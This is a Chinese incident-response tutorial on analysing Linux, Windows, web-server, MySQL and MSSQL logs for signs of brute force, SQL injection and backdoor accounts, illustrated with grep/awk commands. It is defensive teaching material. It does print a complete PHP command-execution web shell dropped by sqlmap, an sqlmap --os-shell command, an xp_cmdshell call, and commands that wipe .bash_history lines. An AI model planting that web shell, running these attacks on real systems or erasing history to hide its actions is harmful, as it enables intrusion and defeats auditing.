应急响应-日志分析
- 什么是日志?日志记录一个服务或应用程序在运行过程中所发生的事件和活动。
- 日志分类 web日志 系统日志
- 日志存放的位置
系统日志
我们要关注时间,去筛选 创建记录等可以找到隐藏账号;判断系统的安全日志可以分析它
Linux
日志
日志文件 | 文件说明 |
---|---|
/var/log/dmesg | 内核信息 |
/var/log/daemon.log | 用户和组的变更 |
/etc/rsyslog.conf | 查看日志存放位置 在配置文件下面 |
/var/log/cron | 记录了系统定时任务相关的日志。 |
/var/log/cups | 记录打印信息的日志。 |
/var/log/dmesg | 记录了系统在开机时内核自检的信息,也可以使用 dmesg 命令直接查看内核自检信息。 |
/var/log/mailog | 记录邮件信息。 |
/var/log/message | 检查系统启动和服务日志 ,记录系统重要信息的日志。这个日志文件中会记录 Linux 系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件。 |
/var/log/btmp | 记录错误登录日志,这个文件是二进制文件,不能直接 vim 查看,而要使用 lastb 命令查看。 |
==/var/log/lastlog== | 记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接 vim ,而要使用 ==lastlog==命令查看。 |
==/var/log/wtmp== | 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接 vim ,而需要使用 ==last== 命令来查看。 |
==/var/run/utmp== | 记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接 vim ,而要使用 ==w , who , users ==等命令来查询。 |
==/var/log/secure或/var/log/auth.log== | 记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如 SSH 登录,su 切换用户,sudo 授权,甚至添加用户和修改用户密码都会记录在这个日志文件中。 |
比较重要的几个日志:
- 登录失败记录:
/var/log/btmp
,对应命令:lastb
这个可以看到一堆爆破的ip 用户名 - 最后一次登录:
/var/log/lastlog
,对应命令:lastlog
- 登录成功记录:
/var/log/wtmp
,对应命令:last
- 登录日志记录:
/var/log/secure
- 目前登录用户信息:
/var/run/utmp
,对应命令:w
、who
、users
以下需要一些常用的 SHELL 命令了,例如:grep
、 sed
、 awk
、 find
、netstat
等
日志查找技巧
1、显示文件的前后几行
我们可通过 Linux 下的 grep 命令相关参数控制检索上下文:
# 显示 file 文件里匹配 foo 字串的行以及上下 5 行
grep -C 5 foo file
# 显示 foo 及前 5 行
grep -B 5 foo file
# 显示 foo 及后 5 行
grep -A 5 foo file
2、查找含有摸字符串的所有文件
grep -rn "hello,world!"
其中,相关参数如下:
-r
:递归查找-n
:显示行号-R
:查找所有文件,包含子目录-i
:忽略大小写- 命令若不指定文件,则表示当前目录下的所有文件,也可指定相关文件
grep 命令更多用法可参考文章:https://linux.isisy.com/c/grep.html
3、显示一个文件某几行
例如文件从第 5 行开始,显示 10 行,即显示 5-14 行
cat input_file | tail -n +5 | head -n 10
如图:
[
4、查找文件
例如,在 /var
目录下查找 secure
文件:
find /var -type f -name secure
find 命令更多用法可参考文章:https://linux.isisy.com/c/find.html
5、显示系统中有哪些账户
命令如下:
cat /etc/passwd | awk -F ':' '{print $1}'
-F
:指定域分隔符$0
、$1
、$2
……$n
:$0
则表示所有域,$1
表示第一个域,$n
表示第 n 个域
awk 命令更多用法可参考文章:https://linux.isisy.com/c/awk.html
6、除 root 之外,是否还有其它特权用户( uid 为 0 ):
awk -F: '$3==0{print $1}' /etc/passwd
7、删除文件指定行内容
例如删除 .bash_history
文件中 10-20 行内容:
sed -i "10,20"d .bash_history
sed 命令更多用法可参考文章:https://linux.isisy.com/c/sed.html
日志分析技巧
日志查找,可以查一些敏感操作行为,例如 ssh 爆破等。
1、定位有多少 IP 在爆破主机的 root 帐号:
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
2、定位哪些 IP 在爆破:
grep "Failed password" /var/log/secure | grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" | uniq -c
3、爆破的用户名相关字典:
grep "Failed password" /var/log/secure | perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}' | uniq -c | sort -nr
4、登陆成功的 IP 有哪些:
cat /var/log/auth.log.1 | grep -a "Accepted password for root" | awk '{print $11}' | sort | uniq -c | sort -nr | more
5、登陆成功的日期、用户名、IP:
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
6、增加用户的日志:
grep "useradd" /var/log/secure
7、删除用户的日志:
grep "userdel" /var/log/secure
8、su 切换用户日志如下:
May 31 21:36:25 centos su: pam_unix(su-l:session): session opened for user test by root(uid=0)
9、sudo 授权执行日志如下:
May 31 21:37:31 centos sudo: root : TTY=pts/2 ; PWD=/root ; USER=root ; COMMAND=/bin/ls
10、软件安装日志文件 /var/log/yum.log
,检索该文件可查看软件安装相关记录:
[root@localhost ~]# head -5 /var/log/yum.log
Jan 11 16:51:30 Installed: xmlstarlet-1.6.1-1.el7.x86_64
Jan 18 16:55:31 Erased: libzip-devel-0.10.1-8.el7.x86_64
Jan 18 16:55:32 Erased: libzip-0.10.1-8.el7.x86_64
Jan 18 17:06:50 Installed: libzip-0.10.1-8.el7.x86_64
Jan 18 17:06:50 Installed: libzip-devel-0.10.1-8.el7.x86_64
[root@localhost ~]#
11、根据端口列进程:
netstat -ntlp | grep ":80 " | awk '{print $7}' | tr '/' "\t"
其中,grep
命令后面为你需要检索的端口。
12、查找较多的 SYN 链接:
netstat -an | grep SYN | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -nr | more
其中,grep
命令后面也可为不同的链接,如:ESTABLISHED
、 CLOSE_WAIT
等
13、查看服务当前的并发连接数和 TCP 连接状态:
netstat -n | awk '/^tcp/ {++S[$NF]} END {for(key in S) print key,"\t",S[key]}'
14、查看不存在的用户名以及错误登陆的次数
cat auth.log | grep -a "Failed password for"|grep "invalid" | cut -d " " -f 11 | sort | uniq -c |sort -nr
14、排除一个或多个用户,这里排除test和alict
cat auth.log | grep -a "Failed password for"|grep "invalid" | grep -v "test\|alict" | cut -d " " -f 11 | sort -nr | uniq | while read line;do echo [$line]; cat auth.log | grep -a "Failed password for" | grep $line | grep -Po '(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])(\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)){3} '|sort|uniq -c |sort -nr;done
重要命令
-
历史命令记录:
history
,其中仅清理当前用户:history -c
-
last
- last- 列出目前与过去登入系统的用户相关信息
- lastb - 列出==登入系统失败==的用户相关信息
- lastlog - 显示系统中所有用户==最近一次登录==信息
last 系列相关命令更多用法可参考文章:https://linux.isisy.com/list.html#!kw=last
-
**w , who, users ** 记录当前已经登录的用户信息,只记录当前登录用户的信息。
-
find 文件名 find 搜索路径 【选项】 内容 -name 区分大小写php -type 文件类型 f普通文件 d目录 i查找软链接 -iname不区分大小写php -size 文件大小 +50k比我们50k还要大的文件 -100k比100k还要小的文件 -inum 修改时间 -atime访问的时间 -mtime数据修改的时间 -ctime文件修改的时间 +5 代表6天前修改的文件 -5代表5到6天内修改的文件 5代表5到6天那一天修改的文件 ls -i 1.php 1234 find -inum 1234 find -type f -name “*.php”|xargs grep ’eval’| more #去找到一个个文件的内容,显示出来 权限搜索 -perm 所属组所有者 -uid -gid -user用户名 -nouser(没有所属组的文件) 逻辑运算符 & -a 逻辑或-o 逻辑非-not
-
awk 【选项】匹配规则处理规则 路径-F指定分隔符 默认是空格作为分隔 : , 设置一个变量 数组 定义函数 加减运算 字符串的拼接 $1 $0 一般会联合sort -n 排序,sort -n|uniq > 1 (uniq去重 -c计数) awk ‘{print substr($4,2,11)}’ logs |sort| uniq -c #sort排序 uniq去重 awk -F:’length($2)=0 {print $1}’ /etc/shadow #空口令账号的查看
-
grep | cat ps -c 统计行数 -v 去掉我们的内容 ps -ef |grep ssh|grep -v grep
find ./ -name “.php” |xargs grep “eval()” xargs不支持管道符命令传递参数可以用这个函数 #匹配木马病毒文件- 1.SQL注入检攻击检测 grep -E -i “select” log1
- 2.xss跨站脚本攻击检测 grep -E -i " (S)%26%23x3c%3B(S+)%3E|(S)%26%23x3c%3B(S+)%2F%3E|(S+)<(S+)>|(S+)<(S+)/" log1
ssh爆破
多少ip在爆破
cat /var/log/auth.log.1 | grep -a "Failed password for root" | awk '{print $11}' | sort | uniq -c | sort -nr | more
grep -a "Failed password for root" /var/log/auth.log.1
: 该部分使用grep
命令在文件/var/log/auth.log.1
中查找包含字符串 “Failed password for root” 的行。-a
选项表示以二进制模式处理文件,通常用于处理非文本文件。awk '{print $11}'
: 该部分使用awk
命令从匹配到的行中提取出第11个字段,即IP地址。默认情况下,awk
以空格为字段分隔符,因此这里假设IP地址是在日志中的第11个字段。sort
: 该部分使用sort
命令对提取出的IP地址进行排序。这是为了让相同的IP地址相邻,以便后面的统计。uniq -c
: 该部分使用uniq -c
命令进行唯一性和计数,它会显示每个唯一的IP地址及其出现的次数。-c
选项用于显示每行重复出现的次数。sort -nr
: 该部分使用sort -nr
命令对计数结果进行排序,其中-n
表示按数字顺序排序,-r
表示逆序(从高到低)排序。more
: 最后,more
命令用于分页显示结果,以防止输出过长而无法一次性显示在屏幕上。
爆破(登录)成功的ip
cat /var/log/auth.log.1 | grep -a "Accepted password for root" | awk '{print $11}' | sort | uniq -c | sort -nr | more
cat /var/log/secure | grep -a "Accepted password for root" | awk '{print $11}' | sort | uniq -c | sort -nr | more
爆破的用户名和字典
cat /var/log/auth.log.1 | grep -a "Failed password" | perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'| uniq -c | sort -nr
#perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}': 这一部分使用 Perl 脚本。-e 选项表示在命令行中提供脚本代码。Perl 脚本的作用是遍历每一行,然后使用正则表达式 /for(.*?) from/ 捕获括号中的内容,即登录失败的用户名。捕获的内容由 $1 引用,然后通过 print "$1\n"; 打印出来,每个用户名占一行
新建的ssh(后门)账户
cat /var/log/auth.log.1 |grep -a "new user"
cat /var/log/secure |grep -a "new user"
Windows
windows系统日志包含系统日志,安全日志、应用日志等
敏感事件id:
4624 登录成功
4625 登录失败
4720 创建用户
4634 注销成功
4647 用户启动的注销
4672 使用超级用户/管理员用户进行登录
系统日志分析-Log Parser
登录成功的所有事件
LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM Security.evtx路径 where EventID=4624"
指定登录时间范围的事件:
LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM Security.evtx路径 where
TimeGenerated>'2023-02-19 23:32:11' and TimeGenerated
提取登录成功的用户名和IP:
LogParser.exe -i:EVT –o:DATAGRID "SELECT EXTRACT_TOKEN(Message,13,' ') as
EventType,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as
Username,EXTRACT_TOKEN(Message,38,' ') as Loginip FROM Security.evtx路径 where
EventID=4624"
登录失败的所有事件:
LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM Security.evtx路径 EventID=4625"
WEB日志
1.我们查看连接的时候 查看数值
2.我们去查看连接状态是否被远控:
1.名字连接名字xx.asp名字比较异常的要注意,找到那个文件位置分析是否是恶意文件
2.因为远控连接的一般是只有攻击者才可能去访问,查看攻击ip只有一个或者两个 那么我们需要注意,进一步排查
3.木马文件相对于访问频率低,我们就可以排查
4.木马文件与其它文件交互少,我们可以进一步排查是否恶意文件
5.跟管理员沟通,查看一些新增记录 确认恶意文件 (post型)上传php.asp文件,一般是只有管理员权限;然后我们去还原路径 可以排查sql注入等 作日志分析我们就知道web服务器入侵的痕迹了
apache
如果apache的安装时采用默认的配置,那么在/logs目录下就会生成两个文件,分别是access_log
和error_log
access_log记录了所有对Web服务器的访问活动
216.35.116.91 - - [19/Aug/2000:14:47:37 -0400] "GET / HTTP/1.0" 200 654
==access.log默认是不开启==的,我们可通过在 xx/conf/httpd.conf配置文件中进行配置
搜搜 customlog,将如下的注释#去掉,这样就开启了access.log的日志功能
快速查找日志位置
locate access_log
找到 Apache 配置文件:通常,Apache 的配置文件位于以下路径之一: 1、/etc/httpd/conf/httpd.conf (CentOS/RHEL) 2、 /etc/apache2/apache2.conf (Debian/Ubuntu)
grep -i "log" /etc/apache2/apache2.conf
grep -i "log" /etc/httpd/conf/httpd.conf
如果是grep查到环境变量,可以输入
cat /etc/apache2/envvars | grep APACHE_LOG_DIR
日志默认路径
(1) apache+Linux日志默认路径
/etc/httpd/logs/access_log
/var/log/httpd/access_log
/usr/local/apache/logs
/var/log/apache2/access.log.1
(2) apache+win2003日志默认路径
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
(3) IIS6.0+win2003默认日志文件
C:\WINDOWS\system32\Logfiles
(4) IIS7.0+win2003 默认日志文件
%SystemDrive%\inetpub\logs\LogFiles
(5) nginx 日志文件
日志文件在用户安装目录logs目录下
以我的安装路径为例/usr/local/nginx,
那我的日志目录就是在/usr/local/nginx/logs里
web中间件默认配置
(1) apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf
或者
index.php?page=/etc/init.d/httpd
(2) IIS6.0+win2003 配置文件
C:/Windows/system32/inetsrv/metabase.xml
(3) IIS7.0+WIN 配置文件
C:\Windows\System32\inetsrv\config\applicationHost.config
分析命令
-
查看apache的进程数 ps -aux | grep httpd | wc -l
-
分析日志查看当天的ip连接数 cat default-access_log | grep “10/Dec/2010” | awk ‘{print $2}’ | sort | uniq -c | sort -nr
-
查看指定的ip在当天究竟访问了什么url cat default-access_log | grep “10/Dec/2010” | grep “218.19.140.242” | awk ‘{print $7}’ | sort | uniq -c | sort -nr
-
查看当天访问排行前10的url cat default-access_log | grep “10/Dec/2010” | awk ‘{print $7}’ | sort | uniq -c | sort -nr | head -n 10
-
看到指定的ip究竟干了什么 cat default-access_log | grep 218.19.140.242 | awk ‘{print $1"\t"$8}’ | sort | uniq -c | sort -nr | less
-
查看访问次数最多的几个分钟(找到热点) awk ‘{print $4}’ default-access_log |cut -c 14-18|sort|uniq -c|sort -nr|head
统计请求成功的记录
awk '($9==200){print $0}' access.log
awk '($9!=200 && $9!=302){print $0}' access.log
统计出来访问成功系统的URL路径的次数排序,交给开发排查,验证是否存在漏洞点,是否存在漏洞
awk -F\" '{print $2}' access.log | sort | uniq -c | sort -nr | head -15
统计访问服务器的IP地址,依次排查,这些IP中哪些可疑
awk '{print $1}' access.log | sort | uniq | wc -l 统计访问的不同IP个数
awk '($4>="[20/May/2022:13:10:20]" && $4<="[24/May/2022:23:43:18]"){print $0}' access.log | grep web | awk '{print $1}' | sort | uniq -c | sort -nr | head -20
列出当天访问次数最多的IP命令:
cut -d- -f 1 log_file|uniq -c | sort -rn | head -20
查看当天有多少个IP访问:
awk '{print $1}' log_file|sort|uniq|wc -l
查看某一个页面被访问的次数:
grep "/index.php" log_file | wc -l
查看每一个IP访问了多少个页面:
awk '{++S[$1]} END {for (a in S) print a,S[a]}' log_file
将每个IP访问的页面数进行从小到大排序:
awk '{++S[$1]} END {for (a in S) print S[a],a}' log_file | sort -n
查看某一个IP访问了哪些页面:
grep ^111.111.111.111 log_file| awk '{print $1,$7}'
去掉搜索引擎统计当天的页面:
awk '{print $12,$1}' log_file | grep ^"Mozilla | awk '{print $2}' |sort | uniq | wc -l
查看2018年6月21日14时这一个小时内有多少IP访问:
awk '{print $4,$1}' log_file | grep 21/Jun/2018:14 | awk '{print $2}'| sort | uniq | wc -l
统计爬虫:
grep -E 'Googlebot|Baiduspider' /www/logs/access.2019-02-23.log | awk '{ print $1 }' | sort | uniq
统计浏览器指纹:
cat /www/logs/access.2019-02-23.log | grep -v -E 'MSIE|Firefox|Chrome|Opera|Safari|Gecko|Maxthon' | sort | uniq -c | sort -r -n | head -n 100
IP 统计:
grep '23/May/2019' /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print $1"."$2"."$3"."$4}' | sort | uniq -c | sort -r -n | head -n 10
2206 219.136.134.13
1497 182.34.15.248
1431 211.140.143.100
1431 119.145.149.106
1427 61.183.15.179
1427 218.6.8.189
1422 124.232.150.171
1421 106.187.47.224
1420 61.160.220.252
1418 114.80.201.18
统计网段:
cat /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print $1"."$2"."$3".0"}' | sort | uniq -c | sort -r -n | head -n 200
统计域名:
cat /www/logs/access.2019-02-23.log |awk '{print $2}'|sort|uniq -c|sort -rn|more
HTTP Status:
cat /www/logs/access.2019-02-23.log |awk '{print $9}'|sort|uniq -c|sort -rn|more
5056585 304
1125579 200
7602 400
5 301
URL 统计:
cat /www/logs/access.2019-02-23.log |awk '{print $7}'|sort|uniq -c|sort -rn|more
文件流量统计:
cat /www/logs/access.2019-02-23.log |awk '{sum[$7]+=$10}END{for(i in sum){print sum[i],i}}'|sort -rn|more
grep ' 200 ' /www/logs/access.2019-02-23.log |awk '{sum[$7]+=$10}END{for(i in sum){print sum[i],i}}'|sort -rn|more
URL访问量统计:
cat /www/logs/access.2019-02-23.log | awk '{print $7}' | egrep '\?|&' | sort | uniq -c | sort -rn | more
脚本运行速度:
查出运行速度最慢的脚本
grep -v 0$ /www/logs/access.2019-02-23.log | awk -F '\" ' '{print $4" " $1}' web.log | awk '{print $1" "$8}' | sort -n -k 1 -r | uniq > /tmp/slow_url.txt
IP, URL 抽取:
# tail -f /www/logs/access.2019-02-23.log | grep '/test.html' | awk '{print $1" "$7}'
nginx
两种主要的日志类型:access log和error log。access log记录了每个用户请求的详细信息,如时间、IP地址、URL、状态码等;error log记录了服务器运行过程中遇到的错误或警告信息,如配置问题、连接问题等。
Nginx日志的存放位置可以在nginx.conf文件中配置,一般默认为/usr/local/nginx/logs或/var/log/nginx目录下。例如:
access_log /usr/local/nginx/logs/access.log;
error_log /usr/local/nginx/logs/error.log;
IIS
IIS日志的存放位置可以在Internet Information Services (IIS) Manager中配置,一般默认为%SystemRoot%\System32\LogFiles目录下。例如: 留言
%SystemRoot%\System32\LogFiles\W3SVC1 %SystemRoot%\System32\LogFiles\HTTPERR
数据库日志
Mysql
常见的数据库攻击包括弱口令、SQL注入、提升权限、窃取备份等。对数据库日志进行分析,可以发现攻击行为,进一步还原攻击场景及追溯攻击源。
常用命令
#有哪些IP在爆破?
grep "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr
27 192.168.204.1
#爆破用户名字典都有哪些?
grep "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort -nr
13 mysql
12 root
1 root
1 mysql
查看MySQL中已加载的插件以及相关配置信息
show variables like '%plugin%';
查看日志
位置
错误日志 (Error Log)
错误日志记录了 MySQL 服务器启动和关闭的消息,以及在运行过程中遇到的错误。
- 默认位置:
- 在 Linux 上,通常位于
/var/log/mysql/error.log
或/var/log/mysqld.log
。 - 在 Windows 上,通常位于 MySQL 安装目录下的
data
目录中。
- 在 Linux 上,通常位于
可以通过以下命令在 MySQL 控制台中查看当前的日志文件位置:
-
错误日志位置:
SHOW VARIABLES LIKE 'log_error';
-
查询日志位置:
SHOW VARIABLES LIKE 'general_log_file';
-
慢查询日志位置:
SHOW VARIABLES LIKE 'slow_query_log_file';
-
二进制日志位置:
SHOW VARIABLES LIKE 'log_bin_basename';
找配置文件
sudo find / -name my.cnf
sudo find / -name my.ini
0x01 Mysql日志分析
general query log能记录成功连接和每次执行的查询,我们可以将它用作安全布防的一部分,为故障分析或黑客事件后的调查提供依据。
1、查看log配置信息
show variables like '%general%';
2、开启日志
SET GLOBAL general_log = 'On';
3、指定日志文件路径
#SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';
比如,当我访问 /test.php?id=1,此时我们得到这样的日志:
190604 14:46:14 14 Connect root@localhost on
14 Init DB test
14 Query SELECT * FROM admin WHERE id = 1
14 Quit `
我们按列来解析一下:
第一列:Time,时间列,前面一个是日期,后面一个是小时和分钟,有一些不显示的原因是因为这些sql语句几乎是同时执行的,所以就不另外记录时间了。
第二列:Id,就是show processlist出来的第一列的线程ID,对于长连接和一些比较耗时的sql语句,你可以精确找出究竟是那一条那一个线程在运行。
第三列:Command,操作类型,比如Connect就是连接数据库,Query就是查询数据库(增删查改都显示为查询),可以特定过虑一些操作。
第四列:Argument,详细信息,例如 Connect root@localhost on 意思就是连接数据库,如此类推,接下面的连上数据库之后,做了什么查询的操作。
0x02 登录成功/失败
我们来做个简单的测试吧,使用我以前自己开发的弱口令工具来扫一下,字典设置比较小,2个用户,4个密码,共8组。
MySQL中的log记录是这样子:
Time Id Command Argument
190601 22:03:20 98 Connect root@192.168.204.1 on
98 Connect Access denied for user 'root'@'192.168.204.1' (using password: YES)
103 Connect mysql@192.168.204.1 on
103 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
104 Connect mysql@192.168.204.1 on
104 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
100 Connect root@192.168.204.1 on
101 Connect root@192.168.204.1 on
101 Connect Access denied for user 'root'@'192.168.204.1' (using password: YES)
99 Connect root@192.168.204.1 on
99 Connect Access denied for user 'root'@'192.168.204.1' (using password: YES)
105 Connect mysql@192.168.204.1 on
105 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
100 Query set autocommit=0
102 Connect mysql@192.168.204.1 on
102 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
100 Quit `
你知道在这个口令猜解过程中,哪个是成功的吗?
利用爆破工具,一个口令猜解成功的记录是这样子的:
190601 22:03:20 100 Connect root@192.168.204.1 on
100 Query set autocommit=0
100 Quit
但是,如果你是用其他方式,可能会有一点点不一样的哦。
Navicat for MySQL登录:
190601 22:14:07 106 Connect root@192.168.204.1 on
106 Query SET NAMES utf8
106 Query SHOW VARIABLES LIKE 'lower_case_%'
106 Query SHOW VARIABLES LIKE 'profiling'
106 Query SHOW DATABASES
命令行登录:
190601 22:17:25 111 Connect root@localhost on
111 Query select @@version_comment limit 1
190601 22:17:56 111 Quit
这个差别在于,不同的数据库连接工具,它在连接数据库初始化的过程中是不同的。通过这样的差别,我们可以简单判断出用户是通过连接数据库的方式。
另外,不管你是爆破工具、Navicat for MySQL、还是命令行,登录失败都是一样的记录。
登录失败的记录:
102 Connect mysql@192.168.204.1 on
102 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
利用shell命令进行简单的分析:
#有哪些IP在爆破?
grep "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr
27 192.168.204.1
#爆破用户名字典都有哪些?
grep "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort -nr
13 mysql
12 root
1 root
1 mysql
在日志分析中,特别需要注意一些敏感的操作行为,比如删表、备库,读写文件等。关键词:drop table、drop function、lock tables、unlock tables、load_file() 、into outfile、into dumpfile。
敏感数据库表:SELECT from mysql.user、SELECT from mysql.func
0x03 SQL注入入侵痕迹
在利用SQL注入漏洞的过程中,我们会尝试利用sqlmap的–os-shell参数取得shell,如操作不慎,可能留下一些sqlmap创建的临时表和自定义函数。我们先来看一下sqlmap os-shell参数的用法以及原理:
1、构造一个SQL注入点,开启Burp监听8080端口
sqlmap.py -u http://192.168.204.164/sql.php?id=1 --os-shell --proxy=http://127.0.0.1:8080
HTTP通讯过程如下:
创建了一个临时文件tmpbwyov.php,通过访问这个木马执行系统命令,并返回到页面展示。
tmpbwyov.php:
<?php
$c = $_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$z = @ini_get('disable_functions');
if (!empty($z)) {
$z = preg_replace('/[, ]+/', ',', $z);
$z = explode(',', $z);
$z = array_map('trim', $z);
} else {
$z = array();
}
$c = $c . " 2>&1\n";
function f($n) {
global $z;
return is_callable($n) and !in_array($n, $z);
}
if (f('system')) {
ob_start();
system($c);
$w = ob_get_contents();
ob_end_clean();
} elseif (f('proc_open')) {
$y = proc_open($c, array(array(pipe, 'r'), array(pipe, 'w'), array(pipe, 'w')), $t);
$w = null;
while (!feof($t[1])) {
$w .= fread($t[1], 512);
}
@proc_close($y);
} elseif (f('shell_exec')) {
$w = shell_exec($c);
} elseif (f('passthru')) {
ob_start();
passthru($c);
$w = ob_get_contents();
ob_end_clean();
} elseif (f('popen')) {
$x = popen($c, 'r');
$w = null;
if (is_resource($x)) {
while (!feof($x)) {
$w .= fread($x, 512);
}
}
@pclose($x);
} elseif (f('exec')) {
$w = array();
exec($c, $w);
$w = join(chr(10), $w) . chr(10);
} else {
$w = 0;
}
print "" . $w . "";
?>
创建了一个临时表sqlmapoutput,调用存储过程执行系统命令将数据写入临时表,然后取临时表中的数据展示到前端。
通过查看网站目录中最近新建的可疑文件,可以判断是否发生过sql注入漏洞攻击事件。
检查方法:
1、检查网站目录下,是否存在一些木马文件:
2、检查是否有UDF提权、MOF提权痕迹
检查目录是否有异常文件
mysql\lib\plugin
c:/windows/system32/wbem/mof/
检查函数是否删除
select * from mysql.func
3、结合web日志分析。
Sqlserver
常见的数据库攻击包括弱口令、SQL注入、提升权限、窃取备份等。对数据库日志进行分析,可以发现攻击行为,进一步还原攻击场景及追溯攻击源。
0x01 MSSQL日志分析
首先,MSSQL数据库应启用日志记录功能,默认配置仅限失败的登录,需修改为失败和成功的登录,这样就可以对用户登录进行审核。
登录到SQL Server Management Studio,依次点击 管理–SQL Server 日志
双击日志存档文件即可打开日志文件查看器,并可以对日志进行筛选或者导出等操作。
另外,MSSQ提供了一个工具SQL Server Profiler ,方便查找和发现SQL执行的效率和语句问题。
日志分析案例:
在日志文件查看器中,选择筛选,在筛选设置中源设置为“登录”,应用筛选器,确定。
筛选后的结果,可以很清晰的识别用户登录信息,记录内容包括用户登录时间、登录是否成功、登录使用的账号以及远程登录时用户使用的IP地址。
如下图:客户端:192.168.204.1进行尝试弱口令登录,并发现其中有一条登录成功的记录。
0x02 SQL注入入侵痕迹
在利用SQL注入漏洞的过程中,我们会尝试利用sqlmap的–os-shell参数取得shell,如操作不慎,可能留下一些sqlmap创建的临时表和自定义函数。我们先来看一下sqlmap os-shell参数的用法以及原理:
1、构造一个SQL注入点,开启Burp监听8080端口
sqlmap.py -u http://192.168.204.164/sql.asp?id=1 --os-shell --proxy=http://127.0.0.1:8080
创建了一个临时表sqlmapoutput,调用存储过程执行系统命令将数据写入临时表,然后取临时表中的数据展示到前端。
通过查看数据库中最近新建的表的结构和内容,可以判断是否发生过sql注入漏洞攻击事件。
检查方法:
1、数据库表检查
2、检查xp_cmdshell等存储过程
xp_cmdshell在mssql2005之后的版本中是默认禁止的,查看xp_cmdshell是否被启用。
`Exec master.dbo.xp_cmdshell ‘whoami’
3、需要结合web日志,通过查看日志文件的大小以及审计日志文件中的内容,可以判断是否发生过sql注入漏洞攻击事件。